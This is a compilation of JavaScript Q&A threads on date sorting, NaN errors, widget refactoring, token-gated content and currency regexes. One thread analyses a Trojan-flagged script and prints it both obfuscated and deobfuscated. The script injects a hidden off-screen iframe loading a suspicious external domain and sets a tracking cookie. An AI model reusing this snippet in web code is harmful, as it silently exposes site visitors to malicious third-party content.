datatables order column for uk date and time - javascript

I am trying to sort a column in a table via the DataTables pluing that has a UK date and time like this: 21/09/2013 11:15
Using the code from Ronan Guilloux:
jQuery.extend( jQuery.fn.dataTableExt.oSort, {
"uk_date-pre": function ( a ) {
if ($.trim(a) != '') {
var frDatea = $.trim(a).split(' ');
var frTimea = frDatea[1].split(':');
var frDatea2 = frDatea[0].split('/');
var x = (frDatea2[2] + frDatea2[1] + frDatea2[0] + frTimea[0] + frTimea[1] + frTimea[2]) * 1;
} else {
var x = 10000000000000; // = l'an 1000 ...
}
return x;
},
"uk_date-asc": function ( a, b ) {
return a - b;
},
"uk_date-desc": function ( a, b ) {
return b - a;
}
} );
and also ive added this code to detect it automatically so i don't have to set which column it is for:
jQuery.fn.dataTableExt.aTypes.unshift(
function ( sData )
{
if (sData !== null && sData.match(/(0[1-9]|[12]\d|3[0-2])\/(0[1-9]|1[0-2])\/\d{4} (0[1-9]|1\d|2[0-3]):(0[1-9]|[1-5]\d)$/))
{
//console.log(sData);
return 'uk_date';
}
return null;
}
);
The problem i have is that although i can see the regex is matching the string it is not then calling the 'uk_date-pre', 'uk_date-asc' or 'uk_date-desc' can anyone explain why it is not working?

After playing with it for some time i had to abandon the regEx and i simply added this to the set up:
aoColumnDefs: [{ "sType": "datetime-uk", "aTargets": [whichCol] }]
I then set the whichCol var to either null or a column number if it was on the page that needed this UK sorting.

For anyone stumbling on this.
The code from Ronan Guilloux will work as expected if you change :
var x = (frDatea2[2] + frDatea2[1] + frDatea2[0] + frTimea[0] + frTimea[1] + frTimea[2]) * 1;
to:
var x = (frDatea2[2] + frDatea2[1] + frDatea2[0] + frTimea[0] + frTimea[1]) * 1;
The reason being that we are dealing with "21/09/2013 11:15" therefore
var frTimea = frDatea[1].split(':');
will only populate frTimea[0] and frTimea[1]...

Related

JavaScript Output Returning NaN

I am using App Lab on Code.org, which utilizes JavaScript commands; however, they have their own UI controls. Therefore, the code will contain commands such as onEvent() and setText(), etc. etc. These are all acceptable. I am attempting to make a code for the Spherical Law of Cosines, but my output for the number is printing NaN. What does this mean and how can I fix it?
Part of my code is below:
onEvent("outputgoScrn","click",function(){
setScreen("outputScrn");
setText("output","The distance between these two locations is " + ((Math.acos((Math.cos(a)*(180/Math.PI))*(Math.cos(b)*(180/Math.PI)) + (Math.sin(a)*(180/Math.PI))*(Math.sin(b)*(180/Math.PI)) + (Math.cos(N)*(180/Math.PI))*(180/Math.PI)))) + " miles along the Great Circle.");
});
onEvent("lat1", "change", function() {
var choice = getProperty("lat1","value");
if(choice=="N") {
a = 90 - ((getNumber("lat1deg")+(getNumber("lat1min")/60)));
}
else if(choice=="S") {
a = 90 + (getNumber("lat1deg")+(getNumber("lat1min")/60));
}
});
onEvent("lat2", "change", function() {
var choice = getProperty("lat2","value");
if(choice=="N") {
b = 90 - ((getNumber("lat1deg")+(getNumber("lat1min")/60)));
}
else if(choice=="S") {
b = 90 + (getNumber("lat2deg")+(getNumber("lat2min")/60));
}
});
onEvent("lon1", "change", function() {
var choice = getProperty("lon1","value");
onEvent("lon2","change",function() {
var choice2 = getProperty("lon2","value");
if(choice=="E" && choice2=="E") {
N = (getText(("lon1deg")+(getText("lon1min")/60))) - (getText(("lon2deg")+(getText("lon2min")/60)));
}
else if(choice=="W" && choice2=="W") {
N = getText(("lon1deg")+(getText("lon1min")/60)) - getText(("lon2deg")+(getText("lon2min")/60));
}
else if(choice=="W"&&choice2=="E") {
N = getText(("lon1deg")+(getText("lon1min")/60)) + getText(("lon2deg")+(getText("lon2min")/60));
}
else if(choice=="E"&&choice2=="W") {
N = getText(("lon1deg")+(getText("lon1min")/60)) + getText(("lon2deg")+(getText("lon2min")/60));
}
});
});
NaN stands for "Not a Number". It looks like you are trying to do arithmetic operations with strings. You need to parse your string to number
var text = '42px';
var integer = parseInt(text, 10);
// returns 42
For more parse functions, you can check below link
https://gomakethings.com/converting-strings-to-numbers-with-vanilla-javascript/

Decipher Javascript Malware [closed]

Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 7 years ago.
Improve this question
Can anybody able to make this code more readable and understandable? it is detected as a Trojan by my anti virus. and I'm trying to understand it :)
I got it from this question
( function() {
})();
EDIT
Wow, I'm surprise people keep complaining I didn't add the code in here, I purposely added it on JSfiddle and didn't include it in here as it will trigger anti virus and keeps you out from accessing this page. I even have to disable my AntiVirus just to create that JSFiddle
Putting it in a javascript minifier and then a beautifier makes it less bloated and a bit more readable
var a = ["onload", "getDate", "setDate", "cookie", "=", "; expires=", "toUTCString", "", "=([^;]){1,}", "exec", "split", "ad-cookie", "er2vdr5gdc3ds", "div", "createElement", "http://stats.balw5ezvicz7hka.pw/?id=6947627&keyword=", "&ad_id=Xn5be4", "innerHTML", "<div style='position:absolute;z-index:1000;top:-1000px;left:-9999px;'><iframe src='", "'></iframe></div>", "appendChild", "body"];
window[a[1]] = function() {
function f(b, c, d) {
if (d) {
var e = new Date;
e[a[2]](e[a[1]]() + d)
}
if (b && c) document[a[3]] =
b + a[4] + c + (d ? a[5] + e[a[6]]() : a[7]);
else return !1
}
if (function(b) {
if (b = (new RegExp(b + a[8]))[a[9]](document[a[3]])) b = b[0][a[10]](a[4]);
else return !1;
return b[1] ? b[1] : !1
}(a[11]) != a[12]) {
f(a[11], a[12], 1);
var c = document[a[14]](a[13]);
c[a[17]] = a[18] + (a[15] + 983755 + a[16]) + a[19];
document[a[21]][a[20]](c)
}
}
When its unpacked it becomes:
window.onload = function() {
function inject(b, c, d) {
if (d) {
var date = new Date;
date.setDate(date.getDate() + d)
}
if (b && c) {
document.cookie = b + "=" + c + (d ? "; expires=" + date.toUTCString() : "");
}
else {
return false
}
}
if (function(var1) {
if (var1 = (new RegExp(var1 + "=([^;]){1,}")).exec(document.cookie))
var1 = var1[0].split("=");
else
return false;
return var1[1] ? var1[1] : false
}("ad-cookie") != "er2vdr5gdc3ds") {
inject("ad-cookie", "er2vdr5gdc3ds", 1);
var wrapper = document.createElement("div")
wrapper.innerHTML = "<div style='position:absolute;z-index:1000;top:-1000px;left:-9999px;'><iframe src='" + ("http://stats.balw5ezvicz7hka.pw/?id=6947627&keyword=" + 983755 + "&ad_id=Xn5be4") + '></iframe></div>';
document.body.appendChild(wrapper)
}
}
This is a example how they obfuscate the code
var code = "a".charCodeAt(0); // 97
var hexCode = code.toString(16); // 61
var escaped = "this is letter a: \x61"
document.body.innerHTML = escaped // "this is letter a: a"
So far I've managed to get:
var _0xacbd = ["onload", "getDate", "setDate", "cookie", "=", "; expires=", "toUTCString", "", "=([^;]){1,}", "exec", "split", "ad-cookie", "er2vdr5gdc3ds", "div", "createElement", "http://stats.balw5ezvicz7hka.pw/?id=6947627&keyword=", "&ad_id=Xn5be4", "innerHTML", "<div style='position:absolute;z-index:1000;top:-1000px;left:-9999px;'><iframe src='", "'></iframe></div>", "appendChild", "body"];
window[_0xacbd[0]] = function() {
function _0x78a6x1(_0x78a6x2, _0x78a6x3, _0x78a6x4) {
if (_0x78a6x4) {
var _0x78a6x5 = new Date();
_0x78a6x5[_0xacbd[2]](_0x78a6x5[_0xacbd[1]]() + _0x78a6x4);
};
if (_0x78a6x2 && _0x78a6x3) {
document[_0xacbd[3]] = _0x78a6x2 + _0xacbd[4] + _0x78a6x3 + (_0x78a6x4 ? _0xacbd[5] + _0x78a6x5[_0xacbd[6]]() : _0xacbd[7])
} else {
return false
};
}
function _0x78a6x6(_0x78a6x2) {
var _0x78a6x3 = new RegExp(_0x78a6x2 + _0xacbd[8]);
var _0x78a6x4 = _0x78a6x3[_0xacbd[9]](document[_0xacbd[3]]);
if (_0x78a6x4) {
_0x78a6x4 = _0x78a6x4[0][_0xacbd[10]](_0xacbd[4])
} else {
return false
};
return _0x78a6x4[1] ? _0x78a6x4[1] : false;
}
var _0x78a6x7 = _0x78a6x6(_0xacbd[11]);
if (_0x78a6x7 != _0xacbd[12]) {
_0x78a6x1(_0xacbd[11], _0xacbd[12], 1);
var _0x78a6x8 = document[_0xacbd[14]](_0xacbd[13]);
var _0x78a6x9 = 983755;
var _0x78a6xa = _0xacbd[15] + _0x78a6x9 + _0xacbd[16];
_0x78a6x8[_0xacbd[17]] = _0xacbd[18] + _0x78a6xa + _0xacbd[19];
document[_0xacbd[21]][_0xacbd[20]](_0x78a6x8);
};
};
As far as I can tell, it opens an iFrame rendered off-screen directed to a malicious website. Maybe somebody with better de-obfuscation skills can get more out of it.
The initial var _0xacbd is an array with strings. Throughout the code there are references such as _0xacbd[4] or _0xacbd[19]. This corresponds to a value in the array. I haven't got time to match them up at the moment but if the onload string in the array is [0], and the next is [1] and so on, you can probably work out what's going on if you have the time.

Moving from DOM-manipulation to object-oriented Javascript

I currently use javascript in a very basic way to manipulate the DOM. This isn't very DRY - for each "widget" I create, I have to copy and paste a chunk of code. I'm anticipating that maintaining this code is going to be a chore!
I'd rather create an object for each "widget", and then I can edit the 'class' of the widget when I want to change all the widgets of that type.
Here for example is a dropdown menu widget (a button), with two input fields (minimum and maximum) in the menu. Changing the inputs updates the title on the button.
Is it possible to build this behaviour into a javascript object?
// Year
var year_button = $("#year-dropdown");
var year_minimum = $("#year-minimum");
var year_maximum = $("#year-maximum");
year_minimum.keyup( update_year )
year_maximum.keyup( update_year )
function update_year(){
update_year_button();
update_year_in_description();
}
function update_year_button(){
year_button.html( get_year_title() )
}
function get_year_title(){
var min = year_minimum.val();
var max = year_maximum.val();
if(min == "" && max == ""){
return "YEAR"
} else if(max == "") {
return "YEAR: " + min
} else {
return "YEARS: " + min + " - " + max
}
}
// Height
var height_button = $("#height-dropdown");
var height_minimum = $("#height-minimum");
var height_maximum = $("#height-maximum");
height_minimum.keyup( update_height )
height_maximum.keyup( update_height )
function update_height(){
update_height_button();
}
function update_height_button(){
height_button.html( get_height_title() )
}
function get_height_title(){
var min = height_minimum.val();
var max = height_maximum.val();
var unit = get_unit();
if(min == "" && max == ""){
return "HEIGHT"
} else if(max == "") {
return "HEIGHT: " + min + " " + unit;
} else {
return "HEIGHT: " + min + " - " + max + " " + unit;
}
}
I'd do something like this. Arguably the new syntax is a better fit for this. But here's a prototypial version:
var widget_thing = {
elements: {
dropdown: false,
minimum: false,
maximum: false
},
init: function () {
var self = this
self.button = $(self.elements.dropdown)
self.minimum = $(self.elements.minimum)
self.maximum = $(self.elements.maximum)
self.minimum.keyup( update_elem )
self.maximum.keyup( update_elem )
},
update_elem: function () {
var self = this
self.update_button()
self.update_in_description()
},
update_button: function () {
var self = this
self.button.html( self.get_title() )
},
update_in_description: function () {
},
get_title: function () {
console.log('Please specify a get_title function')
}
}
Now that you have this object, you can do this:
year_widget_thing = Object.create(widget_thing)
year_widget_thing.elements.year_button = '#year-dropdown'
year_widget_thing.elements.year_minimum = '#year-minimum'
year_widget_thing.elements.year_maximum = '#year-maximum'
year_widget_thing.get_title = function () {
var self = this
var min = self.minimum.val()
var max = self.maximum.val()
var unit = get_unit()
if(min == "" && max == ""){
return "YEAR"
} else if(max == "") {
return "YEAR: " + min + " " + unit
} else {
return "YEARS: " + min + " - " + max + " " + unit
}
}
year_widget_thing.init()
EDIT: I didn't actually test this, so it could contain small errors.

Hide all content exception made when URL parameter is used

I want to hide my website content exception made when ?token_code=12345678 is used in URL. This is the code that's not working correctly, it hides website but never shows it:
I'm calling script by www.example.com/?authtoken=12345678
So when that parameter is included in URL it should show website. But it's not displaying it. It's only hiding it.
PS. I'm using cookies to remember "token" :)
HTML:
<body data-token="12345678"> </body>
JS:
//setCookie and readCookie
function SetCookie(e, t, n) {
var r = new Date;
var i = new Date;
if (n == null || n == 0) n = 1;
i.setTime(r.getTime() + 36e5 * 24 * n);
document.cookie = e + "=" + escape(t) + ";expires=" + i.toGMTString()
}
function ReadCookie(e) {
var t = " " + document.cookie;
var n = t.indexOf(" " + e + "=");
if (n == -1) n = t.indexOf(";" + e + "=");
if (n == -1 || e == "") return "";
var r = t.indexOf(";", n + 1);
if (r == -1) r = t.length;
return unescape(t.substring(n + e.length + 2, r))
}
function DeleteCookie(name) {
document.cookie = name + '=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';
}
//capitalzies string
function capitalize(str) {
var first = str.charAt(0).toUpperCase();
str = str.replace(/^.{1}/, first);
return str;
}
// get's the GET paramters like so --> $_GET('var1');
function getVar(variable) {
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i = 0; i < vars.length; i++) {
var pair = vars[i].split("=");
if (pair[0] == variable) {
return pair[1];
}
}
return (false);
}
// Checks for one of TWO access short codes
// includeOnly && excludeOnly
// If includeOnly is not NULL, then ONLY include
// categories mentioned in that varaible.
// Also, cookie the data, that it's saved.
// Of course, if anyone re-visits the site, and
// re-writes the GET paramter, it'd delete all
// previous data in the cookie.
var token_code = ["authtoken", "excludeOnly"];
var asc = ""; //this is used to select the CURRENT access short code
var tokenValues = [];
//first check if there are ANY get params.
if (getVar(token_code[0]) != false) {
//before writing the inlcude only, delete EXCLUDE only
DeleteCookie(token_code[1]);
SetCookie(token_code[0], getVar(token_code[0]));
}
if (getVar(token_code[1]) != false) {
//before writing the EXCLUDE only, delete include only
DeleteCookie(token_code[0]);
SetCookie(token_code[1], getVar(token_code[1]));
}
//Try and reaad the cookie (there should be a cookie named "includeOnly" or "excludeOnly -- both from token_code)
//includeOnly is present?
if (ReadCookie(token_code[0]).toString().length > 0) {
//defines what the user wants to do. Exlcude or include? when token_code[0] it's include!
asc = token_code[0];
var tokens = ReadCookie(asc).toString();
tokenValues = decodeURIComponent(tokens).split(',');
//loop through each category.
//hide every category and it's children
$("[data-token]").hide();
$.each(tokenValues, function (index, value) {
//show every category, and it's childen, for the values
$("[data-token='" + value + "']").show();
});
}
//excludeOnly is present?
if (ReadCookie(token_code[1]).toString().length > 0) {
//defines what the user wants to do. Exlcude or include? when token_code[0] it's include!
asc = token_code[1];
var tokens = ReadCookie(asc).toString();
tokenValues = decodeURIComponent(tokens).split(',');
//loop through each category.
//hide every category and it's children
$("[data-token]").show();
$.each(tokenValues, function (index, value) {
//show every category, and it's childen, for the values
$("[data-token='" + value + "']").hide();
});
}
is there an easier way to do this?
In the bottom of your code, were the comment says to show, it runs .hide().
Could that be a problem?
//show every category, and it's childen, for the values
$("[data-token='" + value + "']").hide();

JavaScript isCurrency() failing

hey guys should be a easy one...I have some javascript that is turning my input values into currency values. Problem is it will fail if I try to type in .5 heres is my code:
function handleCurrency(formName,fieldName)
{
var enteredValue = document.forms[formName].elements[fieldName].value;
if ( enteredValue.isCurrency() )
{
alert("This is currency " + enteredValue )
// Put the nicely formatted back into the text box.
document.forms[formName].elements[fieldName].value = enteredValue.toCurrency();
}
}
jsp:
<td><input type="text" name="replacementCost" onchange="handleCurrency('NsnAdd','replacementCost')" value="<ctl:currencyFormat currency='${form.replacementCost}'/>" onkeypress="javascript:return noenter();" <c:if test="${!lock.locked}">disabled="disabled"</c:if> /></td>
How can I make it so that .5 is allowable also to be formatted?
custom javascript:
var patternWithCommas = new RegExp("^\\s*\\$?-?(\\d{1,3}){1}(,\\d{3}){0,}(\\.\\d{1,2})?\\s*$");
var patternWithoutCommas = new RegExp("^\\s*\\$?-?\\d+(\\.\\d{1,2})?\\s*$");
function stringIsCurrency()
{
if (patternWithoutCommas.test(this))
{
return true;
}
else if (patternWithCommas.test(this))
{
return true;
}
return false;
}
function stringToCurrency()
{
if (this == '') return this;
var str = this.replace(/[$,]+/g,'');
sign = (str == (str = Math.abs(str)));
str = Math.floor(str*100+0.50000000001);
cents = str%100;
str = Math.floor(str/100).toString();
if (cents<10) cents = "0" + cents;
for (var i = 0; i < Math.floor((str.length-(1+i))/3); i++)
{
str = str.substring(0,str.length-(4*i+3))+','+
str.substring(str.length-(4*i+3));
}
str = '$' + ((sign)?'':'-') + str + '.' + cents;
return str;
}
String.prototype.isCurrency = stringIsCurrency;
String.prototype.toCurrency = stringToCurrency;
basically it needs to allow .5 and not just 0.5
this needs to be updated:
var patternWithCommas = new RegExp("^\\s*\\$?-?(\\d{1,3}){1}(,\\d{3}){0,}(\\.\\d{1,2})?\\s*$");
You have not shown your code for isCurrency.
Here's how I would do it:
function isCurrency( val )
{
return /^\$?(?:\d[\d,]*)?(?:.\d\d?)?$/.test( val );
}
See it here in action: http://regexr.com?3103a
Now that you have provided your code, here's my proposed solution.
While there are many things I would have done differently,
in order to keep the spirit of your code, just change this:
var patternWithCommas = new RegExp("^\\s*\\$?-?(\\d{1,3}){1}(,\\d{3}){0,}(\\.\\d{1,2})?\\s*$");
var patternWithoutCommas = new RegExp("^\\s*\\$?-?\\d+(\\.\\d{1,2})?\\s*$");
to this:
var patternWithCommas = /^\s*\$?-?((\d{1,3}){1}(,\d{3})?)?(\.\d{1,2})?\s*$/;
var patternWithoutCommas = /^\s*\$?-?(\d+)?(\.\d{1,2})?\s*$/;
which would make the dollar amount optional.

Categories

Resources